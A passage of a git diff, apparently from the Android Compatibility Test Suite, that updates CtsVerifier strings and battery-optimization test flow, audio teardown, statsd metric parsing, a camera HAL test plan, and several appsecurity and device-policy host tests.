+ limitations under the License.
+-->
+<resources>
+ <dimen name="snsr_glview_size">80dp</dimen>
+</resources>
diff --git a/apps/CtsVerifier/res/values/dimens.xml b/apps/CtsVerifier/res/values/dimens.xml
index faea2b54180..891e740a760 100644
--- a/apps/CtsVerifier/res/values/dimens.xml
+++ b/apps/CtsVerifier/res/values/dimens.xml
@@ -36,6 +36,8 @@
<dimen name="snsr_view_padding_left">8dp</dimen>
<dimen name="snsr_view_padding_right">8dp</dimen>
+ <dimen name="snsr_glview_size">0dp</dimen>
+
<dimen name="js_padding">10dp</dimen>
<!-- Default screen margins, per the Android Design guidelines. -->
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index cb80a9923f1..b6b46f53f4d 100644
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -15,6 +15,7 @@
-->
<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
<string name="app_name">CTS Verifier</string>
+ <string name="module_id">noabi CtsVerifier</string>
<string name="title_version">CTS Verifier %1$s</string>
@@ -875,7 +876,8 @@
<string name="ibo_test">Ignore Battery Optimizations Test</string>
<string name="ibo_test_info">
This test verifies that the device provides a user affordance to ask the user if the system
- should disable battery optimizations for an app.
+ should disable battery optimizations for an app and to allow a user to remove the app from
+ the exemption list.
</string>
<string name="ibo_test_start_unexempt_app">
Remove the test app from the ignore battery optimizations list to begin the test. (Try going
@@ -887,8 +889,9 @@
<string name="ibo_next_to_confirm">Press next to confirm.</string>
<string name="ibo_app_not_exempted">The app is not exempted from battery optimizations.</string>
<string name="ibo_unexempt_app">
- Remove the test app from the ignore battery optimizations list. (Try going
- to the App Info page and make sure the system is optimizing battery for the app.)
+ Remove the test app from the ignore battery optimizations list. (Either run \"adb shell cmd
+ deviceidle whitelist -com.android.cts.verifier\" or open the list of apps and their
+ exemption statuses. Find the test app in the list and remove the app\'s exemption.)
</string>
<string name="ibo_app_is_exempted">The app is exempted from battery optimizations.</string>
<string name="ibo_exempt_app_list">
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java
index 3c43953a740..c1e43e1669f 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java
@@ -19,35 +19,26 @@ package com.android.cts.verifier;
import android.content.Context;
import android.os.Build;
import android.text.TextUtils;
-import android.util.Xml;
import com.android.compatibility.common.util.DevicePropertyInfo;
import com.android.compatibility.common.util.ICaseResult;
import com.android.compatibility.common.util.IInvocationResult;
import com.android.compatibility.common.util.IModuleResult;
-import com.android.compatibility.common.util.InvocationResult;
import com.android.compatibility.common.util.ITestResult;
-import com.android.compatibility.common.util.MetricsXmlSerializer;
+import com.android.compatibility.common.util.InvocationResult;
import com.android.compatibility.common.util.ReportLog;
import com.android.compatibility.common.util.TestResultHistory;
import com.android.compatibility.common.util.TestStatus;
import com.android.cts.verifier.TestListActivity.DisplayMode;
import com.android.cts.verifier.TestListAdapter.TestListItem;
-import org.xmlpull.v1.XmlSerializer;
-
-import java.io.ByteArrayOutputStream;
-import java.io.IOException;
import java.text.DateFormat;
import java.text.SimpleDateFormat;
-import java.util.Arrays;
import java.util.ArrayList;
-import java.util.Date;
-import java.util.HashMap;
+import java.util.Arrays;
import java.util.HashSet;
import java.util.List;
import java.util.Locale;
-import java.util.Map;
import java.util.Map.Entry;
import java.util.Set;
@@ -72,7 +63,6 @@ class TestResultsReport {
private static final String TEST_TAG = "test";
private static final String TEST_DETAILS_TAG = "details";
- private static final String MODULE_ID = "noabi CtsVerifier";
private static final String TEST_CASE_NAME = "manualTests";
private final Context mContext;
@@ -91,7 +81,8 @@ class TestResultsReport {
String versionBaseOs = null;
String versionSecurityPatch = null;
IInvocationResult result = new InvocationResult();
- IModuleResult moduleResult = result.getOrCreateModule(MODULE_ID);
+ IModuleResult moduleResult = result.getOrCreateModule(
+ mContext.getResources().getString(R.string.module_id));
// Collect build fields available in API level 21
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInColdStartLatencyActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInColdStartLatencyActivity.java
index 9af7e14c0ac..c5308065ac3 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInColdStartLatencyActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInColdStartLatencyActivity.java
@@ -150,6 +150,7 @@ public class AudioInColdStartLatencyActivity
}
mRecorder.stopStream();
+ mRecorder.teardownStream();
mIsTestRunning = false;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutColdStartLatencyActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutColdStartLatencyActivity.java
index 8f6c7f945f6..1d782806f0b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutColdStartLatencyActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutColdStartLatencyActivity.java
@@ -112,10 +112,6 @@ public class AudioOutColdStartLatencyActivity
return mColdStartlatencyMS;
}
- protected void stopAudio() {
- stopAudioTest();
- }
-
void startOutTimer() {
TimerTask task = new TimerTask() {
public void run() {
@@ -198,6 +194,8 @@ public class AudioOutColdStartLatencyActivity
}
mPlayer.stopStream();
+ mPlayer.teardownStream();
+
mIsTestRunning = false;
stopOutTimer();
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/battery/IgnoreBatteryOptimizationsTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/battery/IgnoreBatteryOptimizationsTestActivity.java
index 29e23c79cdb..beed70aa1f2 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/battery/IgnoreBatteryOptimizationsTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/battery/IgnoreBatteryOptimizationsTestActivity.java
@@ -77,12 +77,6 @@ public class IgnoreBatteryOptimizationsTestActivity extends OrderedTestActivity
return true;
}
- private void openAppInfoPage() {
- Intent appInfoIntent = new Intent(Settings.ACTION_APPLICATION_DETAILS_SETTINGS);
- appInfoIntent.setData(Uri.parse("package:" + getPackageName()));
- startActivity(appInfoIntent);
- }
-
private void openIgnoreBatteryOptimizationsAppList() {
Intent intent = new Intent(Settings.ACTION_IGNORE_BATTERY_OPTIMIZATION_SETTINGS);
startActivity(intent);
@@ -101,7 +95,7 @@ public class IgnoreBatteryOptimizationsTestActivity extends OrderedTestActivity
@Override
protected void onNextClick() {
if (isExempted()) {
- openAppInfoPage();
+ openIgnoreBatteryOptimizationsAppList();
} else {
succeed();
}
@@ -151,7 +145,7 @@ public class IgnoreBatteryOptimizationsTestActivity extends OrderedTestActivity
@Override
protected void onNextClick() {
if (isExempted()) {
- openAppInfoPage();
+ openIgnoreBatteryOptimizationsAppList();
} else {
succeed();
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureClientTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureClientTestListActivity.java
index 54f8ad1d304..90848a9e07f 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureClientTestListActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureClientTestListActivity.java
@@ -17,7 +17,9 @@
package com.android.cts.verifier.bluetooth;
import android.bluetooth.BluetoothAdapter;
+import android.content.pm.PackageManager;
import android.os.Bundle;
+import android.os.SystemProperties;
import com.android.cts.verifier.ManifestTestListAdapter;
import com.android.cts.verifier.PassFailButtons;
@@ -42,6 +44,16 @@ public class BleSecureClientTestListActivity extends PassFailButtons.TestListAct
"com.android.cts.verifier.bluetooth.BleAdvertiserHardwareScanFilterActivity.");
}
+ // RPA is optional on TVs already released before Android 11
+ boolean isTv = getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK);
+ int firstSdk = SystemProperties.getInt("ro.product.first_api_level", 0);
+ if (isTv && (firstSdk <= 29)) {
+ disabledTest.add(
+ "com.android.cts.verifier.bluetooth.BleSecureConnectionPriorityClientTestActivity");
+ disabledTest.add(
+ "com.android.cts.verifier.bluetooth.BleSecureEncryptedClientTestActivity");
+ }
+
setTestListAdapter(new ManifestTestListAdapter(this, getClass().getName(),
disabledTest.toArray(new String[disabledTest.size()])));
}
diff --git a/common/device-side/bedstead/metricsrecorder/src/main/java/com/android/bedstead/metricsrecorder/EnterpriseMetricsRecorder.java b/common/device-side/bedstead/metricsrecorder/src/main/java/com/android/bedstead/metricsrecorder/EnterpriseMetricsRecorder.java
index 11ecfa67baa..671e12bc749 100644
--- a/common/device-side/bedstead/metricsrecorder/src/main/java/com/android/bedstead/metricsrecorder/EnterpriseMetricsRecorder.java
+++ b/common/device-side/bedstead/metricsrecorder/src/main/java/com/android/bedstead/metricsrecorder/EnterpriseMetricsRecorder.java
@@ -30,6 +30,7 @@ import com.android.internal.os.nano.StatsdConfigProto.FieldValueMatcher;
import com.android.internal.os.nano.StatsdConfigProto.SimpleAtomMatcher;
import com.android.internal.os.nano.StatsdConfigProto.StatsdConfig;
import com.android.os.nano.AtomsProto;
+import com.android.os.nano.StatsLog;
import com.android.os.nano.StatsLog.ConfigMetricsReportList;
import com.android.queryable.Queryable;
@@ -184,7 +185,10 @@ public class EnterpriseMetricsRecorder implements AutoCloseable, Queryable {
return Arrays.stream(reportList.reports)
.flatMap(s -> Arrays.stream(s.metrics.clone()))
.filter(s -> s.getEventMetrics() != null && s.getEventMetrics().data != null)
- .flatMap(statsLogReport -> Arrays.stream(statsLogReport.getEventMetrics().data.clone()))
+ .flatMap(statsLogReport -> Arrays.stream(
+ statsLogReport.getEventMetrics().data.clone()))
+ .flatMap(eventMetricData -> Arrays.stream(
+ backfillAggregatedAtomsinEventMetric(eventMetricData)))
.sorted(Comparator.comparing(e -> e.elapsedTimestampNanos))
.map(e -> e.atom)
.filter((Objects::nonNull))
@@ -193,4 +197,20 @@ public class EnterpriseMetricsRecorder implements AutoCloseable, Queryable {
.map(EnterpriseMetricInfo::new)
.collect(Collectors.toList());
}
+
+ private StatsLog.EventMetricData[] backfillAggregatedAtomsinEventMetric(
+ StatsLog.EventMetricData metricData) {
+ if (metricData.aggregatedAtomInfo == null) {
+ return new StatsLog.EventMetricData[]{metricData};
+ }
+ List<StatsLog.EventMetricData> data = new ArrayList<>();
+ StatsLog.AggregatedAtomInfo atomInfo = metricData.aggregatedAtomInfo;
+ for (long timestamp : atomInfo.elapsedTimestampNanos) {
+ StatsLog.EventMetricData newMetricData = new StatsLog.EventMetricData();
+ newMetricData.atom = atomInfo.atom;
+ newMetricData.elapsedTimestampNanos = timestamp;
+ data.add(newMetricData);
+ }
+ return data.toArray(new StatsLog.EventMetricData[0]);
+ }
}
diff --git a/cts-camera-hal.xml b/cts-camera-hal.xml
new file mode 100644
index 00000000000..ec049c067d7
--- /dev/null
+++ b/cts-camera-hal.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Runs a subset of CTS tests for Camera HAL ">
+ <option name="plan" value="cts-camera-hal" />
+ <option name="result-attribute" key="camera-hal" value="1" />
+
+ <!-- All camera CTS tests -->
+ <option name="compatibility:include-filter" value="CtsCameraTestCases" />
+
+ <!-- All related tests -->
+ <option name="compatibility:include-filter" value="CtsAppTestCases android.app.cts.SystemFeaturesTest#testCameraFeatures"/>
+ <option name="compatibility:include-filter" value="CtsCameraApi25TestCases" />
+ <option name="compatibility:include-filter" value="CtsCameraApi31TestCases" />
+ <option name="compatibility:include-filter" value="CtsPermissionTestCases" />
+ <option name="compatibility:include-filter" value="CtsViewTestCases" />
+
+</configuration> \ No newline at end of file
diff --git a/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesSelinuxTest.java b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesSelinuxTest.java
index 1006c4782d4..3c6729217e7 100644
--- a/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesSelinuxTest.java
+++ b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesSelinuxTest.java
@@ -150,7 +150,7 @@ public class CompatChangesSelinuxTest extends CompatChangeGatingTestCase {
private void startApp() throws Exception {
runCommand("am start -n " + TEST_PKG + "/" + TEST_PKG + ".Empty");
- Thread.currentThread().sleep(100);
+ Thread.currentThread().sleep(5000);
}
diff --git a/hostsidetests/appcompat/host/lib/Android.bp b/hostsidetests/appcompat/host/lib/Android.bp
index 8f444871abd..f6e664ec0cd 100644
--- a/hostsidetests/appcompat/host/lib/Android.bp
+++ b/hostsidetests/appcompat/host/lib/Android.bp
@@ -26,5 +26,7 @@ java_library_host {
"host-libprotobuf-java-full",
"platformprotos",
],
-
+ static_libs: [
+ "cts-statsd-atom-host-test-utils",
+ ],
}
diff --git a/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java b/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java
index 28bd4d7aebd..9e127172016 100644
--- a/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java
+++ b/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java
@@ -19,12 +19,15 @@ package android.compat.cts;
import static com.google.common.truth.Truth.assertThat;
import static com.google.common.truth.Truth.assertWithMessage;
+import android.cts.statsdatom.lib.ReportUtils;
+
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
import com.android.ddmlib.testrunner.TestResult.TestStatus;
import com.android.internal.os.StatsdConfigProto;
import com.android.os.AtomsProto;
import com.android.os.AtomsProto.Atom;
+import com.android.os.StatsLog;
import com.android.os.StatsLog.ConfigMetricsReport;
import com.android.os.StatsLog.ConfigMetricsReportList;
import com.android.tradefed.build.IBuildInfo;
@@ -46,7 +49,9 @@ import com.google.protobuf.InvalidProtocolBufferException;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.IOException;
+import java.util.ArrayList;
import java.util.Arrays;
+import java.util.Collections;
import java.util.List;
import java.util.Map;
import java.util.Set;
@@ -195,19 +200,28 @@ public class CompatChangeGatingTestCase extends DeviceTestCase implements IBuild
/**
* Gets the statsd report. Note that this also deletes that report from statsd.
*/
- private List<ConfigMetricsReport> getReportList(long configId) throws DeviceNotAvailableException {
+ private ConfigMetricsReportList getReportList(long configId)
+ throws DeviceNotAvailableException {
try {
final CollectingByteOutputReceiver receiver = new CollectingByteOutputReceiver();
getDevice().executeShellCommand(String.format(DUMP_REPORT_CMD, configId), receiver);
return ConfigMetricsReportList.parser()
- .parseFrom(receiver.getOutput())
- .getReportsList();
+ .parseFrom(receiver.getOutput());
} catch (InvalidProtocolBufferException e) {
throw new IllegalStateException("Failed to fetch and parse the statsd output report.",
e);
}
}
+ private static List<StatsLog.EventMetricData> getEventMetricDataList(
+ ConfigMetricsReportList reportList) {
+ try {
+ return ReportUtils.getEventMetricDataList(reportList);
+ } catch (Exception e) {
+ throw new IllegalStateException("Failed to parse ConfigMetrisReportList", e);
+ }
+ }
+
/**
* Creates and uploads a statsd config that matches the AppCompatibilityChangeReported atom
* logged by a given package name.
@@ -313,9 +327,7 @@ public class CompatChangeGatingTestCase extends DeviceTestCase implements IBuild
private Map<Long, Boolean> getReportedChanges(long configId, String pkgName)
throws DeviceNotAvailableException {
final int packageUid = getUid(pkgName);
- return getReportList(configId).stream()
- .flatMap(report -> report.getMetricsList().stream())
- .flatMap(metric -> metric.getEventMetrics().getDataList().stream())
+ return getEventMetricDataList(getReportList(configId)).stream()
.filter(eventMetricData -> eventMetricData.hasAtom())
.map(eventMetricData -> eventMetricData.getAtom())
.map(atom -> atom.getAppCompatibilityChangeReported())
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
index 67e4080830d..9848f8fcd83 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
@@ -39,6 +39,7 @@ import com.google.protobuf.Parser;
import org.junit.After;
import org.junit.Assume;
import org.junit.Before;
+import org.junit.Ignore;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -626,6 +627,7 @@ public class ExternalStorageHostTest extends BaseHostJUnit4Test {
}
@Test
+ @Ignore("Enable after b/197701722 is fixed")
public void testMediaEscalation_RequestWriteFilePathSupport() throws Exception {
// Not adding tests for MEDIA_28 and MEDIA_29 as they need W_E_S for write access via file
// path for shared files, and will always have access as they have W_E_S.
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java
index 4f049332f85..4374efe2725 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java
@@ -1321,6 +1321,11 @@ public class PkgInstallSignatureVerificationTest extends DeviceTestCase implemen
}
public void testInstallV4UpdateAfterRotation() throws Exception {
+ // V4 is only enabled on devices with Incremental feature
+ if (!hasIncrementalFeature()) {
+ return;
+ }
+
// This test performs an end to end verification of the update of an app with a rotated
// key. The app under test exports a bound service that performs its own PackageManager key
// rotation API verification, and the instrumentation test binds to the service and invokes
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/RoleSecurityTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/RoleSecurityTest.java
index 0c86e107924..e86aa574897 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/RoleSecurityTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/RoleSecurityTest.java
@@ -50,7 +50,7 @@ public class RoleSecurityTest extends BaseHostJUnit4Test {
final int initialUserId = getDevice().getCurrentUser();
final int secondaryUserId = userIds[1];
- getDevice().switchUser(secondaryUserId);
+ assumeTrue("Unable to switch user", getDevice().switchUser(secondaryUserId));
try {
uninstallApp(ROLE_SECURITY_TEST_APP_PACKAGE);
try {
diff --git a/hostsidetests/appsecurity/test-apps/MediaStorageApp/src/com/android/cts/mediastorageapp/MediaStorageTest.java b/hostsidetests/appsecurity/test-apps/MediaStorageApp/src/com/android/cts/mediastorageapp/MediaStorageTest.java
index 36ad93290f4..bcf9ed7a09f 100644
--- a/hostsidetests/appsecurity/test-apps/MediaStorageApp/src/com/android/cts/mediastorageapp/MediaStorageTest.java
+++ b/hostsidetests/appsecurity/test-apps/MediaStorageApp/src/com/android/cts/mediastorageapp/MediaStorageTest.java
@@ -19,6 +19,7 @@ package com.android.cts.mediastorageapp;
import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
@@ -447,6 +448,7 @@ public class MediaStorageTest {
assertAccessFileAPISupport(file);
assertReadWriteFileAPISupport(file);
assertRenameFileAPISupport(file);
+ assertRenameAndReplaceFileAPISupport(file, create);
assertDeleteFileAPISupport(file);
}
@@ -471,15 +473,52 @@ public class MediaStorageTest {
public void assertRenameFileAPISupport(File oldFile) throws Exception {
final String oldName = oldFile.getAbsolutePath();
final String extension = oldName.substring(oldName.lastIndexOf('.')).trim();
- // TODO(b/178816495): Changing the extension changes the media-type and hence the media-URI
- // corresponding to the new file is not accessible to the caller. Rename to the same
- // extension so that the test app does not lose access and is able to delete the file.
- final String newName = "cts" + System.nanoTime() + extension;
- final File newFile = Environment.buildPath(Environment.getExternalStorageDirectory(),
- Environment.DIRECTORY_DOWNLOADS, newName);
- assertThat(oldFile.renameTo(newFile)).isTrue();
+ // Rename to same extension so test app does not lose access to file.
+ final String newRelativeName = "cts" + System.nanoTime() + extension;
+ final File newFile = Environment.buildPath(
+ Environment.getExternalStorageDirectory(),
+ Environment.DIRECTORY_DOWNLOADS,
+ newRelativeName);
+ final String newName = newFile.getAbsolutePath();
+ assertWithMessage("Rename from oldName [%s] to newName [%s]", oldName, newName)
+ .that(oldFile.renameTo(newFile))
+ .isTrue();
+ // Rename back to oldFile for other ops like delete
+ assertWithMessage("Rename back from newName [%s] to oldName [%s]", newName, oldName)
+ .that(newFile.renameTo(oldFile))
+ .isTrue();
+ }
+
+ public void assertRenameAndReplaceFileAPISupport(File oldFile, Callable<Uri> create)
+ throws Exception {
+ final String oldName = oldFile.getAbsolutePath();
+
+ // Create new file to which we have access via grant URI
+ final Uri newUri = create.call();
+ assertWithMessage("Check newFile created").that(newUri).isNotNull();
+ clearMediaOwner(newUri, mUserId);
+ File newFile = new File(queryForSingleColumn(newUri, MediaColumns.DATA));
+ final String newName = newFile.getAbsolutePath();
+
+ assertWithMessage(
+ "Rename should fail without newFile grant from oldName [%s] to newName [%s]",
+ oldName, newName)
+ .that(oldFile.renameTo(newFile))
+ .isFalse();
+
+ // Grant access to newFile and rename should succeed.
+ doEscalation(MediaStore.createWriteRequest(mContentResolver, Arrays.asList(newUri)));
+ assertWithMessage("Rename from oldName [%s] to newName [%s]", oldName, newName)
+ .that(oldFile.renameTo(newFile))
+ .isTrue();
+
+ // We need to request grant on newUri again, since the rename above caused the URI grant
+ // to be revoked.
+ doEscalation(MediaStore.createWriteRequest(mContentResolver, Arrays.asList(newUri)));
// Rename back to oldFile for other ops like delete
- assertThat(newFile.renameTo(oldFile)).isTrue();
+ assertWithMessage("Rename back from newName [%s] to oldName [%s]", newName, oldName)
+ .that(newFile.renameTo(oldFile))
+ .isTrue();
}
private void assertDeleteFileAPISupport(File file) throws Exception {
diff --git a/hostsidetests/devicepolicy/Android.bp b/hostsidetests/devicepolicy/Android.bp
index d932dd8132f..343289894fa 100644
--- a/hostsidetests/devicepolicy/Android.bp
+++ b/hostsidetests/devicepolicy/Android.bp
@@ -34,6 +34,9 @@ java_test_host {
"general-tests",
"mts",
],
+ static_libs: [
+ "cts-statsd-atom-host-test-utils",
+ ],
java_resource_dirs: ["res"],
data: [":current-api-xml"],
}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml
index e691e2035a9..fcc7d5d0ca7 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml
@@ -96,6 +96,7 @@
<activity android:name="com.android.cts.deviceandprofileowner.LockTaskUtilityActivity"/>
<activity android:name="com.android.cts.deviceandprofileowner.LockTaskUtilityActivityIfAllowed"
android:launchMode="singleInstance"
+ android:directBootAware="true"
android:lockTaskMode="if_whitelisted"
android:exported="true">
<intent-filter>
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java
index 6fa0bcb99ee..4cf186dc5ab 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java
@@ -16,13 +16,14 @@
package com.android.cts.deviceandprofileowner;
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
import android.content.Context;
import android.content.pm.PackageManager;
import android.content.res.Resources;
import android.media.AudioManager;
import android.media.MediaPlayer;
import android.net.Uri;
-import android.provider.Settings;
import android.os.SystemClock;
import android.os.UserManager;
import android.util.Log;
@@ -51,7 +52,8 @@ public class AudioRestrictionTest extends BaseDeviceAdminTest {
mPackageManager = mContext.getPackageManager();
mUseFixedVolume = mContext.getResources().getBoolean(
Resources.getSystem().getIdentifier("config_useFixedVolume", "bool", "android"));
- mUseFullVolume = isFullVolumeDevice();
+ mUseFullVolume = runWithShellPermissionIdentity(() -> mAudioManager.isFullVolumeDevice(),
+ android.Manifest.permission.QUERY_AUDIO_STATE);
}
// Here we test that DISALLOW_ADJUST_VOLUME disallows to unmute volume.
@@ -190,17 +192,4 @@ public class AudioRestrictionTest extends BaseDeviceAdminTest {
Thread.sleep(200);
}
}
-
- private boolean isFullVolumeDevice() {
- String commandOutput = runShellCommand("dumpsys audio");
-
- for (String line : commandOutput.split("\\r?\\n")) {
- if (Pattern.matches("\\s*mHdmiCecSink=true", line)
- || (Pattern.matches("\\s*mHdmiPlayBackClient=", line)
- && !Pattern.matches("=null$", line))) {
- return true;
- }
- }
- return false;
- }
}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java
index 61f3e21c0a0..119d70244eb 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java
@@ -396,12 +396,18 @@ public class PermissionsTest extends BaseDeviceAdminTest {
}
public void testPermissionPolicyAutoGrant_multiplePermissionsInGroup() throws Exception {
- setPermissionPolicy(PERMISSION_POLICY_AUTO_GRANT);
+ int permissionPolicy = mDevicePolicyManager.getPermissionPolicy(ADMIN_RECEIVER_COMPONENT);
+ try {
+ setPermissionPolicy(PERMISSION_POLICY_AUTO_GRANT);
- // Both permissions should be granted
- assertPermissionPolicy(PERMISSION_POLICY_AUTO_GRANT);
- assertCanRequestPermissionFromActivity(READ_CONTACTS);
- assertCanRequestPermissionFromActivity(WRITE_CONTACTS);
+ // Both permissions should be granted
+ assertPermissionPolicy(PERMISSION_POLICY_AUTO_GRANT);
+ assertCanRequestPermissionFromActivity(READ_CONTACTS);
+ assertCanRequestPermissionFromActivity(WRITE_CONTACTS);
+ } finally {
+ // Restore original state
+ setPermissionPolicy(permissionPolicy);
+ }
}
public void testCannotRequestPermission() throws Exception {
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecondaryLockscreenTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecondaryLockscreenTest.java
index de7f94e2d26..0e590c47cc4 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecondaryLockscreenTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecondaryLockscreenTest.java
@@ -47,7 +47,6 @@ import org.junit.runner.RunWith;
import java.util.List;
// TODO(b/184280023): remove @RequiresDevice and @Ignores.
-@RequiresDevice
@RunWith(AndroidJUnit4.class)
public class SecondaryLockscreenTest {
@@ -139,6 +138,7 @@ public class SecondaryLockscreenTest {
verifySecondaryLockscreenIsShown();
}
+ @RequiresDevice
@Test(expected = SecurityException.class)
public void testSetSecondaryLockscreen_ineligibleAdmin_throwsSecurityException() {
final ComponentName badAdmin = new ComponentName("com.foo.bar", ".NonProfileOwnerReceiver");
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicySafetyCheckerIntegrationTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicySafetyCheckerIntegrationTest.java
index 922745df545..a6dcb8d5b50 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicySafetyCheckerIntegrationTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicySafetyCheckerIntegrationTest.java
@@ -99,7 +99,6 @@ public final class DevicePolicySafetyCheckerIntegrationTest extends BaseDeviceOw
OPERATION_SET_APPLICATION_HIDDEN,
OPERATION_SET_APPLICATION_RESTRICTIONS,
OPERATION_SET_CAMERA_DISABLED,
- OPERATION_SET_FACTORY_RESET_PROTECTION_POLICY,
OPERATION_SET_GLOBAL_PRIVATE_DNS,
OPERATION_SET_KEEP_UNINSTALLED_PACKAGES,
OPERATION_SET_KEYGUARD_DISABLED,
@@ -125,6 +124,10 @@ public final class DevicePolicySafetyCheckerIntegrationTest extends BaseDeviceOw
operations = ArrayUtils.appendInt(operations,
OPERATION_SET_TRUST_AGENT_CONFIGURATION);
}
+ if (mDevicePolicyManager.isFactoryResetProtectionPolicySupported()) {
+ operations = ArrayUtils.appendInt(operations,
+ OPERATION_SET_FACTORY_RESET_PROTECTION_POLICY);
+ }
return operations;
}
